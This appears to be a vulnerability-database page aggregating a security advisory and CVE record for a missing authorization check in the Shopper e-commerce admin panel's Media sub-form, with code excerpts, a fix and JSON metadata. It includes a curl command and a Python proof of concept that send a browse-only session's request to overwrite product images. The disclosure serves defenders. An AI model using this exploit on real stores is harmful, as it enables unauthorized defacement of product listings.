Vulnerability-Lookup

GHSA-99H5-JHH7-V3R3

Vulnerability from github – Published: 2026-09-11 21:30 – Updated: 2026-09-11 21:30

Summary

Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)

Details

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.

Proof of concept

#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base_url = os.environ['BASE_URL']
session  = os.environ['SESSION_COOKIE']
xsrf     = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{'path': '', 'method': 'store', 'params': []}]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
    $this->authorize('edit_products');  // add this line

    $this->validate();

    $this->product->update($this->form->getState());

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopper/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56830"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T21:30:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Title\n\nMissing authorization on Media sub-form store action allows unpermissioned product media update\n\n## Description\n\nA lack of authorization control on the `store()` method was found in `packages/admin/src/Livewire/Components/Products/Form/Media.php`. The security fix released for GHSA-h4mp-g9c6-xwph added `#[Locked]` to the `$product` property in this file but did not add an `authorize()` call to `store()`. The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only `browse_products`, can invoke `store()` on this component to replace the thumbnail and gallery images for any product without holding `edit_products`. Because `$product` is now `#[Locked]`, the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N  Score: 6.5  (Medium)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76`\n\n```php\n// Lines 64-76 - store() with no authorize() call\npublic function store(): void\n{\n    $this-\u003evalidate();\n\n    $this-\u003eproduct-\u003eupdate($this-\u003eform-\u003egetState());  // overwrites thumbnail + gallery media\n\n    $this-\u003edispatch(\u0027product.updated\u0027);\n\n    Notification::make()\n        -\u003ebody(__(\u0027shopper::pages/products.notifications.media_update\u0027))\n        -\u003esuccess()\n        -\u003esend();\n}\n```\n\nThe five sibling components that were fixed in commit fcd0c59 each now have:\n\n```php\npublic function store(): void\n{\n    $this-\u003eauthorize(\u0027edit_products\u0027);  // present in Edit, Inventory, Seo, Shipping, Files\n    // ...\n}\n```\n\n`Media.store()` does not.\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account whose role holds `browse_products` but NOT `edit_products`.\n\n```bash\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"\u003curl-decoded-XSRF-TOKEN-cookie-value\u003e\"\n\n# Step 1: Load a product edit page as an admin to obtain the Media component\u0027s\n#         Livewire snapshot ID and the product\u0027s public ID.\n#         The component snapshot appears in the HTML source as data-livewire-snapshot.\n\n# Step 2: As the low-privilege browse-only session, call store() on the Media component,\n#         pointing at the captured component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -H \"X-Livewire: 1\" \\\n  -d \u0027{\n    \"components\": [{\n      \"snapshot\": \"\u003csnapshot JSON from page source with product locked\u003e\",\n      \"updates\": {},\n      \"calls\": [{\"path\":\"\",\"method\":\"store\",\"params\":[]}]\n    }]\n  }\u0027\n# Expected: HTTP 200, product thumbnail and images updated without edit_products.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nMedia component authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)\n  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value\n  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component\n                  (copy from data-livewire-snapshot in the product edit page source)\n\nThe snapshot already contains the locked product ID, so no ID substitution is needed.\nThe bypass is purely the missing authorize() on store().\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url = os.environ[\u0027BASE_URL\u0027]\nsession  = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf     = os.environ[\u0027XSRF_TOKEN\u0027]\nsnapshot = os.environ[\u0027SNAPSHOT_JSON\u0027]\n\nheaders = {\n    \u0027Content-Type\u0027: \u0027application/json\u0027,\n    \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n    \u0027X-XSRF-TOKEN\u0027: xsrf,\n    \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n    \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\npayload = {\n    \u0027components\u0027: [{\n        \u0027snapshot\u0027: snapshot,\n        \u0027updates\u0027: {},\n        \u0027calls\u0027: [{\u0027path\u0027: \u0027\u0027, \u0027method\u0027: \u0027store\u0027, \u0027params\u0027: []}]\n    }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member with only `browse_products` can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/Form/Media.php\n\npublic function store(): void\n{\n    $this-\u003eauthorize(\u0027edit_products\u0027);  // add this line\n\n    $this-\u003evalidate();\n\n    $this-\u003eproduct-\u003eupdate($this-\u003eform-\u003egetState());\n\n    $this-\u003edispatch(\u0027product.updated\u0027);\n\n    Notification::make()\n        -\u003ebody(__(\u0027shopper::pages/products.notifications.media_update\u0027))\n        -\u003esuccess()\n        -\u003esend();\n}\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "id": "GHSA-99h5-jhh7-v3r3",
  "modified": "2026-09-11T21:30:14Z",
  "published": "2026-09-11T21:30:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-99h5-jhh7-v3r3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopperlabs/shopper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)"
}

CVE-2026-56830 (GCVE-0-2026-56830)

Vulnerability from cvelistv5 – Published: 2026-09-15 17:43 – Updated: 2026-09-15 19:44

Title

Shopper: Incomplete fix for GHSA-h4mp-g9c6-xwph: Media sub-form store() still lacks authorization

Summary

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, an earlier product sub-form hardening change left store() in packages/admin/src/Livewire/Components/Products/Form/Media.php without the edit_products authorization check used by sibling sub-forms. An authenticated staff user with browse_products can invoke the Livewire store action and replace the thumbnail and gallery images for a product whose Media component was initialized, even without product-edit permission. The product binding is locked, so the attacker cannot redirect the update to an arbitrary product through client-side ID substitution, and the impact is limited to products whose edit pages were loaded. This issue is fixed in version 2.9.2.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-15 18:57 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7760 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/shopperlabs/shopper/security/a…	x_refsource_CONFIRM
https://github.com/shopperlabs/shopper/pull/570	x_refsource_MISC
https://github.com/shopperlabs/shopper/commit/bf7…	x_refsource_MISC
https://github.com/shopperlabs/shopper/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
shopperlabs	shopper	Affected: < 2.9.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-56830",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T18:57:33.615806Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-15T19:44:12.701Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "shopper",
          "vendor": "shopperlabs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.9.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, an earlier product sub-form hardening change left store() in packages/admin/src/Livewire/Components/Products/Form/Media.php without the edit_products authorization check used by sibling sub-forms. An authenticated staff user with browse_products can invoke the Livewire store action and replace the thumbnail and gallery images for a product whose Media component was initialized, even without product-edit permission. The product binding is locked, so the attacker cannot redirect the update to an arbitrary product through client-side ID substitution, and the impact is limited to products whose edit pages were loaded. This issue is fixed in version 2.9.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T17:43:04.968Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-99h5-jhh7-v3r3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-99h5-jhh7-v3r3"
        },
        {
          "name": "https://github.com/shopperlabs/shopper/pull/570",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/shopperlabs/shopper/pull/570"
        },
        {
          "name": "https://github.com/shopperlabs/shopper/commit/bf72e2753e21296184596d507336c7d65ecd46ff",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/shopperlabs/shopper/commit/bf72e2753e21296184596d507336c7d65ecd46ff"
        },
        {
          "name": "https://github.com/shopperlabs/shopper/releases/tag/v2.9.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/shopperlabs/shopper/releases/tag/v2.9.2"
        }
      ],
      "source": {
        "advisory": "GHSA-99h5-jhh7-v3r3",
        "discovery": "UNKNOWN"
      },
      "title": "Shopper: Incomplete fix for GHSA-h4mp-g9c6-xwph: Media sub-form store() still lacks authorization"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-56830",
    "datePublished": "2026-09-15T17:43:04.968Z",
    "dateReserved": "2026-06-23T14:55:09.117Z",
    "dateUpdated": "2026-09-15T19:44:12.701Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-99H5-JHH7-V3R3

Title

Description

Severity

Affected files

Steps to reproduce

Proof of concept

Impact

Suggested fix

Credits

CVE-2026-56830 (GCVE-0-2026-56830)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour